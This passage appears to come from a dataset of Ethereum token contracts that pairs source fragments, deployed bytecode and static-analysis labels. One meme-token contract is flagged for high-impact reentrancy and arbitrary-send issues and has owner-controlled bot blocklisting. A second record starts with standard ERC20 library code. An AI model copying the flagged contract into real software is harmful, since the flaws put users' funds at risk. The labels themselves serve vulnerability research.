(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600981526020017f417374726f20496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f204154496e752000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d21662c9fd46c920d6258cb9d8ae80fca064f1df3213347c03e8b6353f4b296f64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,433 |
0x64952e788ac7a339c63f0706ce94851026bd0eb2
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
